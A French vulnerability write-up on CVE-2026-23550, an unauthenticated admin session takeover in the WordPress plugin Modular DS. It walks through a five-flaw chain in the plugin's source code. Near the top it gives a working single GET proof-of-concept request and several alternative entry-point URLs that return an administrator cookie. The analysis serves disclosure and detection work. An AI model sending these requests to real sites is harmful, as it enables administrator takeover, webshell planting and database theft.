
Analyse des causes profondes, PoC et guide de détection pour CVE-2026-23550, une prise de contrôle critique de session administrateur non authentifiée dans le plugin WordPress Modular DS.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
Analyse de cause racine · Parcours du code source · Diff de correctif · PoC éducatif
Par : Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) est un plugin WordPress de gestion de sites avec plus de 40 000 installations actives. Les versions ≤ 2.5.1 contiennent une chaîne de cinq défauts cumulatifs qui permettent à tout attaquant non authentifié de contourner l'authentification, d'invoquer le point de terminaison de connexion interne du plugin, et de recevoir un cookie de sessionwordpress_logged_in_*pour le premier compte administrateur — avec une seule requête HTTP GET.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
Résultat : prise de contrôle totale de l'administrateur. L'attaquant peut installer des plugins malveillants, déposer des webshells, créer des comptes administrateur de secours, exfiltrer la base de données.
| Champ | Valeur |
|---|---|
| Nom du plugin | Modular DS |
| Slug | modular-connector |
| Vulnérable | <= 2.5.1 |
| Corrigé | 2.5.2 |
| Installations actives | ~40 000 |
| CVSS v3.1 | 10.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — Identification et échecs d'authentification |
La vulnérabilité déclenche un routeur personnalisé dérivé de Laravel intégré dans le plugin. Le plugin embarque son propre noyau HTTP (Ares/Framework) qui s'accroche à l'action parse_request de WordPress pour détourner les requêtes avant que le routage propre de WordPress ne prenne le relais.
Prérequis : aucun (plugin installé et actif, connecté au SaaS Modular — par défaut pour toutes les installations en production).
Points d'entrée (un seul suffit) :
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>
La vulnérabilité n'est pas un défaut unique : c'est une chaîne de cinq défauts cumulatifs. Chaque couche, prise isolément, peut sembler défendable ; combinées, elles s'effondrent en une prise de contrôle administrateur sans authentification.
flowchart TB
A["🌐 Requête attaquant<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Porte s'ouvre sur les seuls paramètres de requête"]
B --> C["② Router::findRoute()<br/>URL implicitement résolue vers la route /login"]
C --> D["③ Filtre bindOldRoutes()<br/>Échec sur type inconnu"]
D --> E["④ ModularGuard::check()<br/>Valide l'OAuth serveur, PAS la requête"]
E --> F["⑤ AuthController::getLogin()<br/>Repli vers le premier utilisateur admin"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attaquant = Admin"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
| # | Couche | Fichier | Cause racine |
|---|---|---|---|
| ① | Porte de démarrage | HttpUtils.php:64 | Vérification uniquement par paramètre de requête origin=mo sans crypto/nonce |
| ② | Correspondance URL→route | Router.php:20 | Résolution d'URL implicite passée directement au filtre |
| ③ | Filtre de substitution de route | RouteServiceProvider.php:46 | type inconnu retombe avec la route d'origine intacte |
| ④ | Garde d'authentification | ModularGuard.php:16 | Valide l'état OAuth côté serveur, pas l'identité de la requête |
| ⑤ | Contrôleur de connexion | AuthController.php:66 | Repli silencieux vers getAdminUser() sur entrée manquante |
HttpUtils::isDirectRequest()Fichier : vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ query-param only, no signature
}
return false;
}
Problème : Le mode « requête directe » — censé identifier les appels légitimes du backend Modular SaaS — est verrouillé par des paramètres de requête en texte clair sans HMAC, sans JWT, sans nonce signé, sans liste blanche IP. N'importe quel attaquant peut actionner cet interrupteur.
Router::findRoute()Fichier : vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ URL resolue en route AVANT que le filtre ne s'exécute
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
Problème : routes->match($request) de Laravel résout /api/modular-connector/login/xxx en la route login (protégée par authentification) avant que le filtre de sécurité ne s'exécute. Le filtre reçoit cette route en entrée, ce qui lui donne la charge de prouver que la route est illégitime plutôt que de l'autoriser explicitement.